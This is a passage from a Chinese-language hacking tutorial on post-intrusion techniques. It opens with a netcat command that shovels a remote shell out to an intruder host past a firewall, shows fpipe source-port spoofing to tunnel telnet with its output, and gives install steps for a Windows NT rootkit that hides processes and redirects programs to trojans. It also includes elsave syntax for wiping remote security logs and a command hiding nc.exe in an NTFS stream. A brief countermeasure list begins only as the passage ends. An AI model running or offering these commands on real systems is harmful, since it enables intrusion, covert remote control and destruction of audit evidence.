nc intrude.org 25
一般，防火墙总会允许http和smtp服务的数据进出，这样，上面的命令就可以从受污染的机器铲回一个远程命令shell来控制防火墙内部机器(在入侵者的机器中，在监听80端口的窗口输入命令，其结果就可以在监听25端口的窗口显示出来)，甚至渗透整个内部
网络。这种暗道的正确说法也被称为回铲(shovel)。
这种令初学者头晕的思维实在模糊，一个简单易用的端口重定向工具rinetd，其使用非常简单，只需要创建一个转发配置文件就可以启动。然而，为节省篇幅，下面讲述将是基于重定向原理而产生的精品fpipe。
fpipe最绝妙的地方在于它实现了隧道原理。通常防火墙只允许必要的服务端口通过，比如源端口53就可以通过防火墙为内网客户端解析域名。而fpipe可以指定53此类源端口，透过防火墙建立连接；一旦防火墙后客户连接此类伪造端口，就可以建立一个隧道传输telnet所必须的命令，也即端口重定向到23端口，回送一个telnet连接，而防火墙因为其源端口是“正常”端口，于是整个玲珑精致的攻击就如此发生：
C:\>fpipe -v -l 53 –s 53 -r 23 192.168.1.10FPipe v2.04 - TCP port redirector.Copyright 2000 (c) by Foundstone, Inchttp://www.foundstone.comConnection ;accepted from 192.168.1.10 port 3794Attemption to connect to 192.168.1.10 port 23Pipe connected: In: 192.168.1.10:3749 - -> 192.168.1.4:53 Out: 192.168.1.4:53 - -> 192.168.1.10 23 ……
从以上实验，可以清楚的看见fpipe精致的端口重定向的特点，并看出回送的telnet的连接。这样的“合法渗透”让人不寒而栗。 **终极损毁
Unix世界流传着Rootkit的邪恶事迹，通过对内核的篡改/编译，这些Rootkit傀儡帮助Blackhat在字符世界为所欲为。然而，当
Windows世界也新生了这样的鬼怪，于是视窗世界也变的混乱模糊了。Hoglund制作的rootkit可以执行注册表键的隐藏及exe重定向，从而可以对正常程序注射木马而不改变其内容。通过对NT/W2K核心程序添补，篡夺系统调用，从而隐藏进程、注册表或文件，也可重定向程序调用到木马进程中。结果这种恶意的行为使我们对所有程序的执行完全失去了信心。
其相关软件可www.megasecurity.org/Tools/nt_rootkit_all.html或www.rookit.com查询(本文所附带的toolbox也包括这个软件)。它包括_root_.sys和deploy.exe。运行deploy.exe并启动net start _root_就启动rootkit。于是，注册表中以_root_的键值将在regedit.exe/regedt32.exe的视图中隐藏。对于目前的4.0版本添加了键盘击键记录的功能；系统中任何以_root_开头的进程也将隐藏。
至于端口重定向的问题，我们将进行一个实验来展示其精妙之处。首先，启动rootkit，拷贝一个可执行文件，比如：calc.exe到C:\test目录下面。接着，重命名cmd.exe为_root_cmd.exe并拷贝到C:\test下面。这时候rootkit程序会自动识辨_root_开头的程序，并重定向其到calc.exe，因此当运行_root_cmd.exe会出现计算器的界面(通过这种方式启动木马程序容易之极)。之后，关闭rootkit服务，使用Ultraedit比较cmd.exe和_root_cmd.exe，居然两者内容一致。这种令人可畏的做法让我十分敬佩Hoglund的思维模式。 有必要提到的一点变是，在系统中控制安装操作这些“精品”软件动作一般会由系统记录在案，而系统管理员每日任务之一也就是查看这些珍贵的日志文件。Lauritsen经过辛苦的分析复杂的NT日志语法，编写了elsave工具能适应这种抹除痕迹要求。下面句法将清除远程机器上安全日志的结果(需要得到目标机器合适的特权)：
C:\toolbox>elsave –s \\remote_machine -l “Security” –C **流的伪装
最后，在探讨关于NTFS提供文件内分化多个信息流(streaming)的支持。这种特性使得我们可以在获得系统权限的主机上藏污纳垢。下面的例子则是简单把nc.exe藏匿和运行的流应用(工具取自POSIX中CP工具，下载地址<http://home.socal.rr.com/err0neous/POSIX/>;;)：
C:\toolbox\posix>cp nc.exe 1357298.tmp:nc.exe
对于分流后的文件，前前端(1357298.tmp)仍能执行其作用，而后端(nc.exe)则需要使用：C:\>start 1357298.tmp:nc.exe来执行。 【小结提要】
通过前面几小节的探讨和研究，稍微浅尝黑客世界里精湛技艺，也稍微掌握了一些系统入侵的基本思路和行为模式。对于上叙已经的攻击方式，当然已经有了相应的对策，为节约时间，这里列举四个小对策，其他资料可到google查询：
1、限定注册表的远程访问
regedt32-->安全菜单
关键词：战术攻防思维撷粹